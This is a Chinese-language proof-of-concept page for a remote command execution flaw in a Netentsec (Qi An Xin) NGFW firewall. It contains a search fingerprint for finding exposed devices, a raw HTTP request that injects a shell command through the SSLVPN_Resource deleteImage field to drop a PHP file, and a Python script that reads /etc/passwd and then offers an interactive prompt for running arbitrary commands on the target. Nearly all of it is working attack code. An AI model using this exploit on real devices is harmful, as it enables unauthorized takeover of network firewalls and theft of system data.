网康（奇安信）NGFW下一代防火墙远程命令执行 PoC

app="网康科技-下一代防火墙"

POST /directdata/direct/router HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Content-Length: 188Accept: */*Content-Type: application/jsonAccept-Encoding: gzip {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '<?php echo md5(1);unlink(__FILE__);?>' >/var/www/html/testmd5.php"]}],"type":"rpc","tid":17}

echo '<?php echo md5(1);unlink(__FILE__);?>' >/var/www/html/testmd5.php

    import requests    import sys    import random    from requests.packages.urllib3.exceptions import InsecureRequestWarning    def title():        print('+------------------------------------------')        print('+ 033[36m使用格式: python3 poc.py 033[0m')        print('+ 033[36mUrl >>> http://xxx.xxx.xxx.xxx �33[0m')        print('+------------------------------------------')    def POC_1(target_url):        vuln_url = target_url + "/directdata/direct/router"        headers = {             "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",            "Content-Type": "application/json",        }        data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}'        try:            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)            response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)            if response.status_code == 200 and "success" in response.text:                print("�33[32m[o] 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd �33[0m".format(target_url))                requests.packages.urllib3.disable_warnings(InsecureRequestWarning)                response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)                if "root" in response.text and response.status_code == 200:                    print("�33[32m[o] 响应为：{} �33[0m".format(response.text))                    while True:                        cmd = input("�33[35mCmd >>> �33[0m")                        if cmd == "exit":                            sys.exit(0)                        else:                            POC_2(target_url, cmd)            else:                print("�33[31m[x] 目标不存在漏洞 �33[0m")                sys.exit(0)        except Exception as e:            print("�33[31m[x] 请求失败 �33[0m", e)    def POC_2(target_url, cmd):        vuln_url = target_url + "/directdata/direct/router"        headers = {             "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",            "Content-Type": "application/json",        }        data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' % (cmd)        try:            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)            response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)            response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)            print("�33[32m[o] 响应为：n{} �33[0m".format(response.text))        except Exception as e:            print("�33[31m[x] 请求失败 �33[0m", e)    if __name__ == '__main__':        title()        target_url = str(input("�33[35mPlease input Attack UrlnUrl >>> �33[0m"))        POC_1(target_url)